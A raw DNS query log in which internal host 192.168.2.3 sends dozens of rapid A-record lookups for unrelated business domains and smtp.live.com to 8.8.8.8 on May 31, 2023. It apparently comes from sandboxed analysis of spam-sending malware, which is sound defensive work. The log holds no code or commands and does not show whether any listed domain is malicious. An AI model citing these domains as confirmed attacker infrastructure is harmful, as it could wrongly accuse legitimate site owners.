May 31, 2023 14:52:18.474699974 CEST	192.168.2.3	8.8.8.8	0x2725	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.484000921 CEST	192.168.2.3	8.8.8.8	0xc801	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.487005949 CEST	192.168.2.3	8.8.8.8	0x3ae3	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.493736029 CEST	192.168.2.3	8.8.8.8	0xfc03	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.518110037 CEST	192.168.2.3	8.8.8.8	0xf67b	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.521198988 CEST	192.168.2.3	8.8.8.8	0xb1c1	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.548163891 CEST	192.168.2.3	8.8.8.8	0x911e	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.550880909 CEST	192.168.2.3	8.8.8.8	0xf62a	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.570076942 CEST	192.168.2.3	8.8.8.8	0xa689	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.593157053 CEST	192.168.2.3	8.8.8.8	0x32d2	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.594472885 CEST	192.168.2.3	8.8.8.8	0x9d31	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.603636980 CEST	192.168.2.3	8.8.8.8	0xa715	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.639022112 CEST	192.168.2.3	8.8.8.8	0xbce1	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.701750040 CEST	192.168.2.3	8.8.8.8	0x9817	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.725636959 CEST	192.168.2.3	8.8.8.8	0x93	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.744584084 CEST	192.168.2.3	8.8.8.8	0x9fa3	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.752726078 CEST	192.168.2.3	8.8.8.8	0x439	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.787342072 CEST	192.168.2.3	8.8.8.8	0x1f3	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.813380957 CEST	192.168.2.3	8.8.8.8	0xd598	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.851244926 CEST	192.168.2.3	8.8.8.8	0x8940	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.880834103 CEST	192.168.2.3	8.8.8.8	0x2085	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.881963015 CEST	192.168.2.3	8.8.8.8	0x9676	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.890332937 CEST	192.168.2.3	8.8.8.8	0xf003	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.906205893 CEST	192.168.2.3	8.8.8.8	0xfd5e	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.983048916 CEST	192.168.2.3	8.8.8.8	0x28af	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.009732962 CEST	192.168.2.3	8.8.8.8	0xa229	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.024869919 CEST	192.168.2.3	8.8.8.8	0x4df	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.067672014 CEST	192.168.2.3	8.8.8.8	0x157b	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.090743065 CEST	192.168.2.3	8.8.8.8	0xc069	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.117104053 CEST	192.168.2.3	8.8.8.8	0xcb0b	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.156323910 CEST	192.168.2.3	8.8.8.8	0x7fdd	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.161832094 CEST	192.168.2.3	8.8.8.8	0x1418	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.217442989 CEST	192.168.2.3	8.8.8.8	0x7dc9	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.225663900 CEST	192.168.2.3	8.8.8.8	0x111b	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.225663900 CEST	192.168.2.3	8.8.8.8	0xcc09	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.264914036 CEST	192.168.2.3	8.8.8.8	0xed36	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.307660103 CEST	192.168.2.3	8.8.8.8	0x633b	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.342252970 CEST	192.168.2.3	8.8.8.8	0x1fd7	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.352993011 CEST	192.168.2.3	8.8.8.8	0x5f59	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.376709938 CEST	192.168.2.3	8.8.8.8	0xca6f	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.376709938 CEST	192.168.2.3	8.8.8.8	0x8cfb	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.376933098 CEST	192.168.2.3	8.8.8.8	0x90f2	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.376933098 CEST	192.168.2.3	8.8.8.8	0x46cb	Standard query (0)	beafin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.377038956 CEST	192.168.2.3	8.8.8.8	0xcf18	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.377518892 CEST	192.168.2.3	8.8.8.8	0x224a	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.377518892 CEST	192.168.2.3	8.8.8.8	0x2c85	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.386538982 CEST	192.168.2.3	8.8.8.8	0x43df	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.399147034 CEST	192.168.2.3	8.8.8.8	0x24c4	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.463738918 CEST	192.168.2.3	8.8.8.8	0x63dd	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.491590023 CEST	192.168.2.3	8.8.8.8	0x25a1	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.500122070 CEST	192.168.2.3	8.8.8.8	0x3897	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.500122070 CEST	192.168.2.3	8.8.8.8	0x9768	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.595098019 CEST	192.168.2.3	8.8.8.8	0xa715	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.599668026 CEST	192.168.2.3	8.8.8.8	0xbb02	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.627780914 CEST	192.168.2.3	8.8.8.8	0xab7d	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.650832891 CEST	192.168.2.3	8.8.8.8	0x3bb9	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.702686071 CEST	192.168.2.3	8.8.8.8	0x9817	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.745667934 CEST	192.168.2.3	8.8.8.8	0x62f8	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.752877951 CEST	192.168.2.3	8.8.8.8	0xcf9a	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.920481920 CEST	192.168.2.3	8.8.8.8	0xf003	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.986381054 CEST	192.168.2.3	8.8.8.8	0xd1a4	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.999517918 CEST	192.168.2.3	8.8.8.8	0x3353	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.011455059 CEST	192.168.2.3	8.8.8.8	0x4a09	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.013917923 CEST	192.168.2.3	8.8.8.8	0x1363	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.046183109 CEST	192.168.2.3	8.8.8.8	0xa050	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.093596935 CEST	192.168.2.3	8.8.8.8	0xbfa3	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.328986883 CEST	192.168.2.3	8.8.8.8	0xe498	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.414259911 CEST	192.168.2.3	8.8.8.8	0x717e	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.608675003 CEST	192.168.2.3	8.8.8.8	0xa715	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.647238016 CEST	192.168.2.3	8.8.8.8	0xc323	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.770323992 CEST	192.168.2.3	8.8.8.8	0xe70b	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.879527092 CEST	192.168.2.3	8.8.8.8	0x1a2d	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.920891047 CEST	192.168.2.3	8.8.8.8	0xf003	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.944619894 CEST	192.168.2.3	8.8.8.8	0x6f6f	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.972716093 CEST	192.168.2.3	8.8.8.8	0x43c0	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.098887920 CEST	192.168.2.3	8.8.8.8	0x9f0f	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.136641979 CEST	192.168.2.3	8.8.8.8	0x255a	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.188291073 CEST	192.168.2.3	8.8.8.8	0x2f24	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.256704092 CEST	192.168.2.3	8.8.8.8	0xe9ed	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.284805059 CEST	192.168.2.3	8.8.8.8	0xcdd5	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.285337925 CEST	192.168.2.3	8.8.8.8	0xd1a1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.315965891 CEST	192.168.2.3	8.8.8.8	0x33d2	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.339072943 CEST	192.168.2.3	8.8.8.8	0xf5da	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.339073896 CEST	192.168.2.3	8.8.8.8	0xf522	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.406497955 CEST	192.168.2.3	8.8.8.8	0x787f	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.424901962 CEST	192.168.2.3	8.8.8.8	0x6e0a	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.437576056 CEST	192.168.2.3	8.8.8.8	0x8ff1	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.625256062 CEST	192.168.2.3	8.8.8.8	0xa167	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.667952061 CEST	192.168.2.3	8.8.8.8	0x65dd	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.701802015 CEST	192.168.2.3	8.8.8.8	0x9817	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.784312010 CEST	192.168.2.3	8.8.8.8	0xb9b1	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.110017061 CEST	192.168.2.3	8.8.8.8	0x414c	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.234396935 CEST	192.168.2.3	8.8.8.8	0xb3dc	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.266449928 CEST	192.168.2.3	8.8.8.8	0x9e9b	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.271966934 CEST	192.168.2.3	8.8.8.8	0x7806	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.281640053 CEST	192.168.2.3	8.8.8.8	0x868c	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.296760082 CEST	192.168.2.3	8.8.8.8	0xd1a1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.333214998 CEST	192.168.2.3	8.8.8.8	0xae62	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.356832981 CEST	192.168.2.3	8.8.8.8	0xccc2	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.380189896 CEST	192.168.2.3	8.8.8.8	0x70b	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.387823105 CEST	192.168.2.3	8.8.8.8	0xc95b	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.489731073 CEST	192.168.2.3	8.8.8.8	0xa64c	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.505935907 CEST	192.168.2.3	8.8.8.8	0x4428	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.619457960 CEST	192.168.2.3	8.8.8.8	0x968c	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.679080963 CEST	192.168.2.3	8.8.8.8	0x21a7	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.691308975 CEST	192.168.2.3	8.8.8.8	0x6adf	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.771289110 CEST	192.168.2.3	8.8.8.8	0x1656	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.874857903 CEST	192.168.2.3	8.8.8.8	0xe494	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.970714092 CEST	192.168.2.3	8.8.8.8	0x4814	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.970771074 CEST	192.168.2.3	8.8.8.8	0x1fbc	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.971024990 CEST	192.168.2.3	8.8.8.8	0xdf11	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.971105099 CEST	192.168.2.3	8.8.8.8	0x691d	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.971237898 CEST	192.168.2.3	8.8.8.8	0x606e	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.971395969 CEST	192.168.2.3	8.8.8.8	0x9360	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.078715086 CEST	192.168.2.3	8.8.8.8	0xa797	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.094883919 CEST	192.168.2.3	8.8.8.8	0xf1c1	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.095741034 CEST	192.168.2.3	8.8.8.8	0x3210	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.095825911 CEST	192.168.2.3	8.8.8.8	0x22bf	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.096084118 CEST	192.168.2.3	8.8.8.8	0x516c	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.096155882 CEST	192.168.2.3	8.8.8.8	0x7644	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.126245975 CEST	192.168.2.3	8.8.8.8	0xe0c3	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.175750971 CEST	192.168.2.3	8.8.8.8	0x1e49	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.283770084 CEST	192.168.2.3	8.8.8.8	0x230d	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.290668011 CEST	192.168.2.3	8.8.8.8	0x23c0	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.313951969 CEST	192.168.2.3	8.8.8.8	0xd1a1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.316540956 CEST	192.168.2.3	8.8.8.8	0xd0a6	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.371957064 CEST	192.168.2.3	8.8.8.8	0x19f4	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.609476089 CEST	192.168.2.3	8.8.8.8	0xccea	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.676373959 CEST	192.168.2.3	8.8.8.8	0xe4c2	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.692127943 CEST	192.168.2.3	8.8.8.8	0xcf8e	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.844542027 CEST	192.168.2.3	8.8.8.8	0x1ee0	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.987102985 CEST	192.168.2.3	8.8.8.8	0xddb1	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.113886118 CEST	192.168.2.3	8.8.8.8	0xbffb	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.256889105 CEST	192.168.2.3	8.8.8.8	0x8e5d	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.334450006 CEST	192.168.2.3	8.8.8.8	0x1d95	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.391640902 CEST	192.168.2.3	8.8.8.8	0x5276	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.393081903 CEST	192.168.2.3	8.8.8.8	0x34e8	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.468980074 CEST	192.168.2.3	8.8.8.8	0xe228	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.484961987 CEST	192.168.2.3	8.8.8.8	0xc2cc	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.491036892 CEST	192.168.2.3	8.8.8.8	0x726c	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.519933939 CEST	192.168.2.3	8.8.8.8	0xab74	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.573185921 CEST	192.168.2.3	8.8.8.8	0x5d57	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.606964111 CEST	192.168.2.3	8.8.8.8	0x4e06	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.640903950 CEST	192.168.2.3	8.8.8.8	0x4bd4	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.643708944 CEST	192.168.2.3	8.8.8.8	0x984a	Standard query (0)	gujarat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.740788937 CEST	192.168.2.3	8.8.8.8	0x90c	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.916143894 CEST	192.168.2.3	8.8.8.8	0x8029	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.080394030 CEST	192.168.2.3	8.8.8.8	0x95c7	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.327276945 CEST	192.168.2.3	8.8.8.8	0xd1a1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.727390051 CEST	192.168.2.3	8.8.8.8	0xa899	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.797538042 CEST	192.168.2.3	8.8.8.8	0x2693	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.969743013 CEST	192.168.2.3	8.8.8.8	0xc05d	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.154740095 CEST	192.168.2.3	8.8.8.8	0xa608	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.362428904 CEST	192.168.2.3	8.8.8.8	0x91f1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.412883997 CEST	192.168.2.3	8.8.8.8	0x8a99	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.471543074 CEST	192.168.2.3	8.8.8.8	0xd7a3	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.488111019 CEST	192.168.2.3	8.8.8.8	0x414f	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.578130960 CEST	192.168.2.3	8.8.8.8	0x2ff6	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.660562992 CEST	192.168.2.3	8.8.8.8	0x1a53	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.687752008 CEST	192.168.2.3	8.8.8.8	0x7e08	Standard query (0)	peminet.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.694411993 CEST	192.168.2.3	8.8.8.8	0xbf89	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.718983889 CEST	192.168.2.3	8.8.8.8	0xc98c	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.358500957 CEST	192.168.2.3	8.8.8.8	0x91f1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.507019997 CEST	192.168.2.3	8.8.8.8	0xbcca	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.755554914 CEST	192.168.2.3	8.8.8.8	0x55b8	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.875886917 CEST	192.168.2.3	8.8.8.8	0x5ce9	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.052642107 CEST	192.168.2.3	8.8.8.8	0x246e	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.110845089 CEST	192.168.2.3	8.8.8.8	0x524f	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.374154091 CEST	192.168.2.3	8.8.8.8	0x91f1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.428172112 CEST	192.168.2.3	8.8.8.8	0x1d6e	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.501370907 CEST	192.168.2.3	8.8.8.8	0x5cec	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.519618034 CEST	192.168.2.3	8.8.8.8	0xe119	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.838543892 CEST	192.168.2.3	8.8.8.8	0x94ee	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.948240995 CEST	192.168.2.3	8.8.8.8	0x52d5	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.305216074 CEST	192.168.2.3	8.8.8.8	0x94e6	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.360320091 CEST	192.168.2.3	8.8.8.8	0xd7d8	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.614212036 CEST	192.168.2.3	8.8.8.8	0x52be	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.636768103 CEST	192.168.2.3	8.8.8.8	0x5cbb	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.672899008 CEST	192.168.2.3	8.8.8.8	0xf03d	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.001866102 CEST	192.168.2.3	8.8.8.8	0x7db1	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.147615910 CEST	192.168.2.3	8.8.8.8	0x88d9	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.270944118 CEST	192.168.2.3	8.8.8.8	0x5f77	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.391442060 CEST	192.168.2.3	8.8.8.8	0x91f1	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.462337971 CEST	192.168.2.3	8.8.8.8	0x5bb7	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.579229116 CEST	192.168.2.3	8.8.8.8	0xb338	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.223788977 CEST	192.168.2.3	8.8.8.8	0x196d	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.390723944 CEST	192.168.2.3	8.8.8.8	0x9b3f	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.890867949 CEST	192.168.2.3	8.8.8.8	0x2f69	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.985347986 CEST	192.168.2.3	8.8.8.8	0xa313	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.162631989 CEST	192.168.2.3	8.8.8.8	0x474d	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.392313004 CEST	192.168.2.3	8.8.8.8	0x9b3f	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.619663954 CEST	192.168.2.3	8.8.8.8	0x88ae	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:33.524563074 CEST	192.168.2.3	8.8.8.8	0x9b3f	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:33.735213041 CEST	192.168.2.3	8.8.8.8	0xa8d0	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
